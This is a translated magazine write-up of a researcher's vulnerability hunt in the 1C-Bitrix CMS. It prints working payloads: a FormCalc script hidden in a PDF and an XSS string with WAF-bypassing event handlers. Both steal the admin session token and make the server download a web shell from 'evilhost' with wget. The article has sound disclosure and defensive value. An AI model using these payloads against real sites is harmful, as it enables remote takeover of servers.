Taking a Hammer to Bitrix: Finding 0day Vulnerabilities in a Popular CMS (English translation)

Молотком по Битриксу: Выявляем 0day-уязвимости популярной CMS - oxod, Xakep.

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Content (translated into English)

Machine translation of `xakep-ru-0day-cms.md`, which holds the source's own words. Code, payloads, type names, URLs and CVE identifiers were masked before translating and restored after, so they are byte-identical to the original.

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About a year ago, I found an XSS vulnerability in the 1C-Bitrix product, which I demonstrated in a hack video at CC09. A year passed, and I got curious: what had changed in the product in terms of security? Let me remind you that Bitrix is no simple product: it has a built-in WAF filter, meaning that for most attacks, simply finding a vulnerability is not enough; you also need to bypass the WAF. And believe me, bypassing it is very far from easy...

Background

When reading the many security articles and vulnerability descriptions out there, I always find myself wondering what the researcher did before finding a particular vulnerability. I'm curious for just one reason: to understand what steps the researcher took, what they tried, what didn't work, and what tools and utilities they used. Figuring all this out can greatly broaden your horizons, and often simply help you flesh out some unfinished ideas. Besides, introductory sections really break up technical text and make it more interesting. As the saying goes, “if you want to make the world better, start with yourself,” so I'll try to describe the entire vulnerability discovery process in as much detail as possible. It all started with Forb, who, as always, casually suggested writing an exemplary article on hacking a CMS. At that point I had just one thing in the works: the idea of using the filesize attribute for hijacking in Internet Explorer. It was a really half-baked idea, though Dan Kaminsky liked it (seclists.org/fulldisclosure/2010/Apr/288). In any case, it clearly wasn't enough for a solid article.

Having promised Forb an answer by that evening, I tried using the filesize attribute in the demo version of Internet Explorer 9. The developers had promised support for the SVG format in the IMG tag, and, hoping that filesize would be determined not only for SVG but for any other XML too, it could be used to determine the size of any XML responses from a web application, which is already quite a lot. Unfortunately, fortune turned its backside on me, and filesize for XML always returned 0. Firmly resolved to write a new and interesting article, I started looking through web applications that would be interesting to investigate. One of the first on that list was 1C-Bitrix, which I settled on. Incidentally, Bitrix is a very interesting engine: complex, checked by auditors, and equipped with built-in mechanisms for protecting against attacks.

These mechanisms are certified for “compliance with the Web Application Firewall Evaluation Criteria of the international organization Web Application Security Consortium”; in addition, the system has FSTEC certification for its protection class against unauthorized access. So the investigation promised to be interesting. The last time I had studied Bitrix intensively before this was version 8.0.5 at CC09, where the challenge was to bypass the WAF filter that prevents attacks. At the time of writing, the current version was 9.0.3, which, among other things, had acquired a new protection mechanism: a “web antivirus.” Having downloaded the latest version of the engine from the official website, I got to work.

The first bug falls flat!

First, I decided to test the system manually, simply clicking through the menus and exploring the functionality. Almost immediately, I noticed the BB tags that could be used in the built-in editor when writing forum posts, blog posts, or comments. To check how BB turned into normal HTML tags and what was filtered in the process, I created a message containing all the tags with various special characters, both in the values and in place of attributes. After posting this message to my forum in Bitrix, I began examining the resulting HTML code. The surprise came when a fragment of the page's code clearly revealed XSS. It was the most basic, most beaten-to-death XSS when processing:

```
[URL=a' attribute='blabla']XSS[/URL]
```

Out of sporting interest, I looked at the clock—four minutes had passed since the start of the "research." Leaving this attack vector for later, I noted to myself that I would also have to bypass the WAF filter, which would not let through naive attempts to insert the onload, style, onmouseover, and other classic attributes used to exploit the vulnerability.

Act Two

Continuing my haphazard exploration of the engine's functionality, I tested a few more hunches, all of which proved unsuccessful. I also noticed something strange—when requests were sent to the system as an administrator, their data was not filtered by the WAF. At first, I even thought that "proactive protection" simply was not kicking in.

Without thinking twice, I immediately wrote to the Bitrix developers, who take great care over the system's security and always reply quickly to my emails. As the developers explained, requests sent as an administrator and containing the additional security parameter sessid are not filtered by the WAF. This makes sense—the system includes administrator utilities for executing SQLqueries and PHP code, and if these were filtered through the WAF, they simply would not work. Wait! Executing PHP code is possible directly from the admin panel, officially; there is no need to invent anything, just carry out a CSRF attack, and there it is—a web shell! So all I had left to do was bypass the WAF to carry out an "XSS+CSRF+WAF by pass" attack and obtain a web shell. My mood improved considerably :).

Technical pdfupport

While trying out various parameters in the engine, I was about to finish looking for vulnerabilities and move on to studying the WAF protection. But then it was the "Technical Support" module's turn. Users could create requests to technical staff describing their problems. A file could be attached to each ticket. Without thinking about the consequences, I created a new ticket and attached an arbitrary file, which happened to be a PDF document. Then I logged back in as an administrator and checked what would appear in the request log. All the filtering worked perfectly, but the document... Let's click the document link—its content was displayed by the Adobe Acrobat plugin right in the browser, on the domain of the Bitrix instance under test. Something clicked in my head, and my memory (neural this time, rather than RAM) brought up the fact that a PDF can contain executable JavaScript. Everything was coming together—the browser, cookies, the right domain, JavaScript.

Now the vector had become completely obvious: I needed to teach the PDF to send GET and POST requests to the server, and then we would have pure CSRF, followed, once again, by a webshell. Here, "proactive protection" or the WAF could no longer get in the way—the content of a PDF document was beyond its capabilities. Sporting interest again prompted me to look at the clock—three and a half hours had passed since I started work.

PDF csrf exploit

Now the idea of using PDF to carry out CSRF seemed more than good. A whole host of web applications and web services were vulnerable to the attack. It was worth digging into the documentation and methods for creating PDF documents, and making a sample “malicious” document. Two obstacles awaited me here. First, PDF only partially supports JavaScript, and HTTP requests are out of the question here. Second, Adobe Acrobat has a built-in protection mechanism that asks for user confirmation when a document interacts with the network. I really did not want to abandon this idea, so I continued studying the documentation, and very soon it paid off. It turned out that, in addition to JavaScript, PDF documents could use a second language—FormCalc. Google helped me download the full list of this beast’s functions: help.adobe.com/en_US/livecycle/es/FormCalc.pdf. As always, the tastiest part turned out to be at the end, and the manual’s tenth and final section had a short, clear title—“URL functions.” The section’s contents spoke for themselves—“Get, Post, Put.” Now, to carry out the attack, I needed to make a PDF document that would implement it according to the following scheme:

**1. **Sending a GET request to the admin panel at the address

`targethost:6448/bitrix/admin/user_admin.php?lang=ru.`

**2. **Process the query result and extract sessid from it.

3. Send a POST request with sessid and the command “wget http://evilhost.ru/s.txt -O shell.php” to targethost: 6448/bitrix/admin/php_command_line.php?mode=frame&lang=ru.

In FormCalc, this scenario took three lines of code:

```
var a = Get("http://targethost:6448/bitrix/admin/ user_admin.php?lang=ru") var sessid = (Substr(a,At(a,"sessid=")+7,32)) Post("http://targethost:6448/bitrix/admin/php_command_ line.php?mode=frame&lang=ru",Concat("sessid=",sessi d,"&query=system%28%27wget http://evilhost:6448/s. txt –O shell.php%27%29%3B"),"application/x-www-formurlencoded")
```

To create the PDF document, I could have used a trial version of Adobe Livecycle Designer (adobe.com/go/trylivecycle), but the installer weighed in at a whopping 3 GB. So I decided to download a ready-made PDF containing some script and simply replace the script's text. I found an excellent free Java library for working with the PDF format, iText (itextpdf.com). The function for replacing the script in the document turned out like this:

```
public static void replacePDFScript( String filename, String script) { try { PdfReader reader = new PdfReader(filename); XfaForm xfa = new XfaForm(reader); Document doc = xfa.getDomDocument(); NodeList list = doc.getElementsByTagName("script"); list.item(0).setTextContent(script); PdfStamper stamper = new PdfStamper(reader, new FileOutputStream(filename+"_mod.pdf")); xfa.setDomDocument(doc); xfa.setChanged(true); XfaForm.setXfa(xfa, stamper.getReader(), stamper.getWriter()); stamper.close(); } catch (Exception e) { e.printStackTrace(); } }
```

You have to agree, using this is a whole lot easier than downloading 3 GB of paid software. Now a little about Adobe Acrobat's security restrictions on sending requests from a document. The PDFdocument itself can, of course, be opened either through the Adobe Acrobat ActiveX component in a browser or directly from a local file in an Acrobat window. By default, all requests sent by a PDF document require user confirmation. A window pops up asking for permission to send requests from the domain hosting the document. Note that the restrictions apply specifically to the sender's domain, rather than, as is customary, the domain the request is sent to. If a local

file is opened, permission is assigned to the filename, which, incidentally, can be used for an attack involving content substitution. But if the document is opened through a browser and the request is sent to the same domain that hosts the document, no security restrictions kick in! That was exactly how documents were opened in Bitrix at the time of the investigation. And with that, the PoC exploit was ready. I logged into my local Bitrix installation, where I was running the experiments, as a new user, created a ticket in the “technical support” module, and attached the resulting PDF.

Then I logged back in as the administrator and viewed the user's ticket, after which I opened the document it contained. A completely blank white sheet appeared on the screen, with no warnings and no messages. The result of the exploit's work was proudly on display at http://targethost:6448/bitrix/admin/shell.php.

This made for a very telling demonstration of a CSRF attack, which developers often critically underestimate. Strictly speaking, in terms of classification, the vulnerability is certainly not plain CSRF. Here, the attacker can modify HTTP request headers and, most importantly, work with the server's response.

Wow, WAF!

The elegant implementation of CSRF through PDF encouraged me to pull off a similar trick using the first XSS vulnerability I had discovered. But to do that, I needed to bypass the “proactive protection,” which had already been fixed since my last digging expedition (see the article “Tales of XSScheherazade”). There were two attack vectors here: find a way around the filtering of either existing expressions or unfiltered ones. Since I had already investigated the first vector and demonstrated it at CC09, I decided to push through with the second. There was nothing new to invent here, so I used the methods described in “Tales of XSScheherazade” and dived into the documentation for browser HTML.

Fifteen minutes of digging paid off: I found two methods for InternetExplorer, onmouseenter and onmouseleave. These are counterparts of the exceptions onmouseover and onmouseout filtered by the WAF. Just what the doctor ordered :). To make the attack work across browsers, I had to dig through the documentation a little more... and eventually found an interesting method, onselectstart, which worked in both IE and Chrome. In Chrome, the event fires simply on a click, whereas in IE you also have to drag over the text as if selecting it.

At this point, nothing stood in the way of carrying out the second version of CSRF and, once again, obtaining a web shell. Unfortunately, the day was already drawing to a close, seven hours had passed since the start of the research, and I no longer had time to put all the findings into proper advisories, so I simply went to bed.

Intermission and Act Three

A few days later, I managed to find some time again and return to researching the engine. The first thing I did was write an advisory and send it to the developers. The simple list of vulnerabilities included CSRF via PDF, XSS in the [URL] tag, and new WAF bypass methods. Now I needed to write an example for uploading a shell through two vulnerabilities (XSS+WAF bypass). I knew that the

WAF filtered not only events, but also functions and variables in the JavaScript itself that it considered dangerous, and I mentally prepared myself for agonizing code modifications. Using the jjencode obfuscator would have seemed logical. But in this case it was unusable because any closing square bracket character closed the URL tag containing the vulnerability and cut off all the code that followed. And square brackets turn up everywhere in jjencode.

So I had to take another route. The exploit's logic was supposed to be as follows:

- Create iframe and form objects and two input fields (the POST parameters sessid and query).
- Load some page from the admin panel into the iframe and get its innerHTML.
- Extract the sessid value from our iframe's innerHTML.
- Put the sessid value into the value attribute of the first input object.
- Execute form.submit.

The only thing on the system's side that hindered writing the exploit was the filtering of the onload method. Of course, I could have written a construct like i["onload"]=a, but, once again, square brackets were not allowed for this vulnerability. I had to come up with something again. The idea turned out to be as simple as a felt boot—setTimeout(a,10000).

This relies on the iframe's contents loading in under 10 seconds, so function a can extract the sessid value. No other tricks were used. The resulting code looked like this:

```
[URL=http://a' onmouseenter='var i=document. createElement("iframe");i.style.
width="0px";i.style.height="0px";var p=/ sessid=.{32}/;var t="";var f=document.
createElement("form");f.method="POST";f. action="/bitrix/admin/php_command_ line.php?mode=frame";var
s=document. createElement("INPUT");s.style. visibility="hidden";s.type="text";s. name="sessid";var y=document.
createElement("INPUT");y.style. visibility="hidden";y.type="text";y. name="query";y.value="system(\"wget
htt\".\"p://evilhost:6448/s.txt -O s.php\");";f.appendChild(s);f. appendChild(y);function b(){t+=i.
document.body.innerHTML.match(p);s. value=t.substr(7);f.submit()};i. src="/bitrix/admin/";document.body.
appendChild(i);document.body.appendChild(f); setTimeout(b,10000);']НАВЕДИ НА МЕНЯ![/URL]
```

This PoC has two drawbacks—it works only in Internet Explorer and opens a new page containing the result of executing the shell command (blank if everything went well and the shell was uploaded). These two drawbacks are easily fixed, but I am deliberately not providing a more elegant solution in this article. My goal is to demonstrate that the attack is possible, rather than hand over a ready-made hacking tool.

Something Sweet to Finish

So, I managed to carry out two successful attacks against myself and upload two web shells. To wrap up the investigation, I took another look around the entire engine, mostly just to explore its functionality. Accidentally hovering over the blog post author's name, I saw a pop-up window open, displaying the message itself. It looked really nice: the little window was designed like a speech bubble from a comic book. But what made me suspicious was that this window also displayed the value of the ICQ field from the user's profile. And neither < > nor ‘ “ was filtered on output. How easy it would have been to restrict the ICQ field in the user's profile to digits when saving it to the database! That's so logical! But instead of a simple solution, we have a vulnerability. This was the third opportunity to upload a shell. Unlike the [URL] variant, here there was room to

go wild: jjencode and entire tags, rather than just attributes. Besides, XSS vulnerabilities can be used for phishing attacks. You can find a demonstration of this technique in the picture. I no longer felt like coming up with another way to bypass the WAF for attacks requiring no user interaction, such as clicks and mouse hovers. I decided to end this quick investigation, which had taken a day and a half, and the newly discovered vulnerability was also sent to the developers.

Finale

Everything that was discovered should already be fixed in the new Bitrix by the time this article is published. You should always notify the developers before publication and agree on a publication timeline. That's what was done here. Finding vulnerabilities and hacking websites are two completely different tasks. And considering how widespread Bitrix is on the Russian internet, the consequences of attacks could have been quite substantial. A researcher is not a cracker; he is an enthusiast, striving to show where a program needs work and ultimately helping make his product more secure. With that, I tip my hat to you and take my lea ve. And let me point out (just in case) that no live website was harmed during this investigation. As always, I answer questions on the blog oxod.ru.

Links

- FormCalc language documentation — help.adobe.com/en_US/livecycle/es/FormCalc.pdf
- Adobe Livecycle Designer, a trial version for creating PDF documents — adobe.com/go/trylivecycle
- General information about CSRF attacks — owasp.org/index.php/CrossSite_Request_Forgery_(CSRF))
- My blog (I answer questions and write as much as I can) — oxod.ru